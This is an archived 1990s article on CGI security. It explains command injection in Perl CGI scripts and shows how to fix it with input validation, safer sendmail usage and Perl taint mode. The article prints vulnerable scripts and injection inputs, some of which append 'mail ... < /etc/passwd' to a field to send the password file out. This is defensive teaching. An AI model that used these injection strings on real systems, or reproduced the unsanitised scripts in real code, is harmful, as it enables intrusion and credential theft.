About
Community
Bad Ideas
Drugs
Ego
Erotica
Fringe
Society
Technology
Hack
Introduction to Hacking
Hack Attack
Hacker Zines
Hacking LANs, WANs, Networks, & Outdials
Magnetic Stripes and Other Data Formats
Software Cracking
Understanding the Internet
Legalities of Hacking
Word Lists
register | bbs | search | rss | faq | about
meet up | add to del.icio.us | digg it

Common Gateway Interface (CGI) Security, Part 3


NOTICE: TO ALL CONCERNED Certain text files and messages contained on this site deal with activities and devices which would be in violation of various Federal, State, and local laws if actually carried out or constructed. The webmasters of this site do not advocate the breaking of any law. Our text files and message bases are for informational purposes only. We recommend that you contact your local law enforcement officials before undertaking any project based upon any information obtained from this or any other web site. We do not guarantee that any of the information contained on this system is correct, workable, or factual. We are not responsible for, nor do we assume any liability for, damages resulting from the use of any information on this site.


Worried about CGI security? Don't want to leave holes in your
system? This article provides a quick guide to plugging the most
common holes found in CGI scripts.

by David Ray

There is currently a lot of talk about web server and CGI security
on Usenet and listservs, as well as among administrators. Many of
the concerns are valid, but I see a lot of over-reaction and
exaggeration. Web servers can be made virtually bulletproof if they
are sufficiently understood and given the proper attention.

There are three ways an Internet troublemaker can access a web
server to do damage. The first way is to gain access through one of
the services on the web server other than the HTTP server, such as
telnet, ftp, finger or gopher. Making a web server machine secure in
this regard is a general Unix security issue. I will not go into the
details of general Unix security in this article, but I can summarize
by saying that such security is well documented, and generally
involves eliminating all unnecessary services, setting appropriate
file permissions, and controlling user accounts and password
selection. Because of its sensitive nature, this information can be
obtained through training courses at established institutions, and is
not generally available for anonymous users on the Internet. For
more information on general Unix security training courses, see the
following URL:

Trusted Information Systems

For the purposes of this article I will assume that the necessary
steps have been taken to prevent this type of security issue, and the
only risks are those specific to the HTTP protocol.

The second way to access a web server and do damage is to use the
HTTP protocol to gain shell access or to run system commands.
This is extremely unusual and can only be done through bugs in the
program---theoretically the Web protocol makes this impossible.

A hole was discovered in the programming of the NCSA web
server, version 1.3, in early 1995. In very rare circumstances, this
hole allowed a person to make system calls under the UID that the
web server was running. The programming error was fixed quickly
in a new release, and there is currently no known way that this can
occur on any type of academic or commercial web server.

The third and primary security concern is that of CGI scripts
running on the web server. Because CGI programming is so
flexible, it is possible for systems to be cracked using CGIs.
However, with some understanding of how CGIs work, and some
simple rules to follow, risks associated with CGIs can be virtually
eliminated.

Why Use CGIs?

The purpose of CGIs is to extend interactivity to the HTTP
protocol. Without CGIs, a web server is not much more than a
gopher server. Static web pages can be served, and that's all. No
interaction. No dynamics. Today, CGI programming is the heart of
Web creativity, and is largely responsible for making the Web as
popular as it is.

``If you want security, never run CGIs!''

I get upset when I read this time and time again on Usenet. As a
designer and administrator, my goal is to push technology to the
cutting edge to make the Internet as interactive as possible. I'm not
willing to reduce the user's experience because of superstitions. It's
natural for people to be afraid of what they don't understand. The
solution is to remove the fear by understanding the issues, not to
shoot down the thing that is causing fear.

An excellent overview of CGI security can be found at:
http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq

This FAQ should be mandatory reading for anybody administering
or designing a web server.

I'm not going to repeat the material covered in the FAQ. Instead, I
will summarize some of the main points from the perspective of a
system administrator, Web designer, and user.

If a CGI program is written properly, there would be no possible
way a user could do harm to a system. Why, then, should an
administrator go out of his or her way to run the server as
``nobody'', set file permissions to restrict read and write access, or
run the system under ``chroot''? Theoretically, there is no reason, if
you know every possible thing about every CGI and know that each
CGI is secure. More often, however, CGIs may not be fully
understood because:

Administrators don't know how to evaluate how safe they are The
people who write CGIs aren't administrators and don't understand
security concerns Administrators don't anticipate how a hacker
would try to use a CGI to crack a system, and don't test for those
things before putting it into production


At one time in the past, I designed and administered a web site
single-handedly. I wrote the CGIs, ran the server as root, used no
special file permissions or ``chroot'' configurations. Although this
violated all the rules for web server security, I never had any
problems. This was mainly because I was writing the CGIs and had
tested them thoroughly before putting them into production. The
CGIs included syntax-checking for all user input to prevent
unwanted commands. My testing process included attempts to
crack the system by trying a wide range of system commands in the
web page forms I was using. This was an unusual situation---I
understood system security and I could anticipate how the system
might be cracked using the CGI.

As the web site developed, more people became involved and I was
no longer the only one writing the CGIs or doing all the
administration. The CGI programmers did not have a security
background and weren't aware of all the CGI security issues.
Administrators didn't know about CGIs and did not fully
understand the HTTP protocol. It was unclear whether the CGIs
were being adequately tested before being put into production. As a
result, the security configuration had to be overhauled. That system
now follows many of the guidelines recommended in the web server
security FAQ.

Web designers and people with user accounts will typically write
CGIs and then submit them to administrators to place on the server.
System administrators should evaluate the CGI code by reading it
and should test the CGIs using web page forms. Tests should
attempt to make non-damaging system calls which, if successful,
leave a mark that the system has been accessed. If a sufficient set of
tests fail to access the system, the CGI can be considered safe and
can be made available on the server.

One such test would be the creation of a harmless file. For
example, let's assume the server is running as user ``nobody'' which
has permission to write to the /tmp directory. A harmless system
call could be touch /tmp/gotcha. This command would simply
create a file named ``gotcha'' in the /tmp directory. Some examples
of URLs that might be sent to a CGI program are:

http://myserver/cgi-bin/finger?dave; \
touch%20/tmp/gotcha

http://myserver/cgi-bin/finger?dave; \
touch+/tmp/gotcha

If it is possible to send a form or URL that successfully executes
this command, then in principle any command-line argument could
be sent. The CGI script should then be reworked until it is not
possible to send any unwanted system command.

Ideally, the person writing the CGIs should understand CGI
security and follow the right guidelines. If everything the user
enters in a web page form is checked for syntax in the CGI before
being used in system calls, the CGI is virtually problem-free. If the
person writing the CGIs doesn't know how to do syntax-checking,
the system administrator should add syntax-checking to the script
and test it before putting it into production.

Plugging the Holes

As an example, let's take this sieve of a script and plug the holes:

#!/usr/bin/perl
print "Content-type: text/plain\n\n";
$address = $ENV{`QUERY_STRING`};
print "FINGER OF $address:\n\n", \
`/usr/bin/finger $address`;

The problem with this script is that any system command can be
sent to the server by putting a semicolon after the username being
``fingered'' and appending the system command. For example, the
URL:

http://myhost/cgi-bin/finger?username; \
%20mail%[email protected]%20< /etc/passwd

would have the same effect as the following command-line argument:
finger username; mail [email protected] < /etc/passwd

If somebody were able to send this URL unchecked, they could
crack the password file and gain unauthorized access to the system.

We could make this script safer by limiting the allowed syntax of
the user input to only what's needed for this script. In this case,
``finger'' needs an input in the format ``username@machine''. So
let's disallow any characters other than a-z, A-Z, 0-9, and the
characters . - _ and @. (The % symbol is used for e-mail purposes
only.) If we do this, the script would remain functional and be safe
from users trying to send command-line arguments because it
disallows whitespace characters.


#!/usr/bin/perl
print "Content-type: text/plain\n\n";
$address = $ENV{`QUERY_STRING`};
if ($address =~ /[^a-zA-Z0-9_-.<\@>]/) {
print "Username must be in the form
\"user@machine\", Please try again,\n";
}
else {
print "FINGER OF $address:\n\n", \
`/usr/bin/finger $address`;
}

Note that there are many different ways one could modify the above
script to make it secure. Another way would be to require the input
to be in the form ``user@address'' with the expression [\w-
.]+\@[\w-.] in place of [^a-zA-Z0-9-.@]. Here is another problem
script that performs a very popular function, sending an e-mail
message from an HTML form.

#!/usr/bin/perl
require ("cgi-lib.pl"); ReadParse;

#The line above puts the "To:" field of the form into the variable
#"$in{`to`}"

open (MAIL,"| /usr/lib/sendmail $in{`to`}");
print MAIL "From: MyForm\n\nHello World\n";
close MAIL;

A user could run a command-line argument by putting the
following in the ``To:'' field of the form: nobody@nowhere.com;
mail [email protected] < /etc/passwd;
This would have the same effect as the following command-line
argument: /usr/lib/sendmail nobody@nowhere.com; mail
[email protected] < /etc/passwd;

A better way to write a sendmail-based CGI script is the following:

#!/usr/bin/perl
require ("cgi-lib.pl"); ReadParse;
open (MAIL,"| /usr/lib/sendmail -t -oi");
print "To: $in{`in`}\nFrom:
MyForm\n\nHello World\n";
close MAIL;

In this example, the user's input cannot escape the sendmail shell,
no matter what he types. If he tries to put the ``bad'' line above into
the form, the mail message would look like:

To: nobody@nowhere.com;
mail [email protected]
< /etc/passwd
From: MyForm

Hello World

Sendmail would then try to send it, and the message would return
because the address is invalid. No harm would come to the system.

I should mention that although these examples have been written in
Perl, the same security issues are present for any CGI script,
regardless of which shell language is used or whether it is written
in C. The same testing process should be performed regardless of
the programming language used. Perl was selected for these
examples because it is the most common language used for CGI
scripting on Unix systems. Perl also has some CGI-specific
libraries and security tools not available with other programming
languages.

Other CGI Security Tools

For those who want additional security enhancements built into the
CGI development environment, there are a few options for Perl
language:

Perl provides a mechanism to prevent user-defined variables (such
as those from forms) to be used in eval(), system(), exec() or piped
open() calls. Under this option it also will disallow calling an
external program without explicitly setting the PATH environment
variable at the beginning of the script. A special version of Perl
version 4 called ``taintperl'' can be used to do this, and Perl version
5 invokes this option using the -T flag. Syntax is:


#!/usr/bin/taintperl
or
#!/usr/bin/perl -T<\n>
require 5.0;

Perl version 5 has a ``strict'' module that controls ``averments''.
This can be invoked by the following at the beginning of each
script:

#!/usr/bin/perl -w
require 5.0;
use strict;

Check the Perl 5 Module documentation for more information.

At the time of this writing there are no security enhancement
packages or CGI-specific enhancements for any other CGI
programming language.

Conclusion

In summary, the steps for making a web server secure are well
documented. As long as the appropriate steps are taken:

System administrators should understand how to evaluate CGI
scripts for syntax-checking and potential dangers System
administrators should do the proper amount of testing before
putting a CGI script on the server The server is configured
prudently to prevent system damage


The risks of running the web server are not any greater than any
other network service. Designers can then focus on providing good
content and interactivity, which is where they should be
concentrating their efforts.

Active on the Internet since 1984, David Ray has authored several
web sites for small businesses, corporations and non-profit groups,
and has instructed courses on the Internet at University of San
Francisco and the San Francisco Digital Media Center. David
specializes in Perl based CGI scripts and server customizations to
push the Web to its fullest potential, and he programs in HTML
3.0, Perl, Bourne shell, Java, JavaScript and AppleScript
programming languages. He holds a B.A. degree in the Physics
from U.C. Berkeley and is currently the Webmaster and lead Web
designer at Wells Fargo Bank. He can be reached by e-mail at
[email protected], or by snail mail c/o WEBsmith.

 
To the best of our knowledge, the text on this page may be freely reproduced and distributed.
If you have any questions about this, please check out our Copyright Policy.

 

totse.com certificate signatures
 
 
About | Advertise | Bad Ideas | Community | Contact Us | Copyright Policy | Drugs | Ego | Erotica
FAQ | Fringe | Link to totse.com | Search | Society | Submissions | Technology
Hot Topics
Php
Withstanding an EMP
Good computer destroyer?
Wow, I never thought the navy would be so obvious.
Alternatives Internets to HTTP
Anti-Virus
a way to monitor someones AIM conversation
VERY simple question: browser history
 
Sponsored Links
 
Ads presented by the
AdBrite Ad Network

 

TSHIRT HELL T-SHIRTS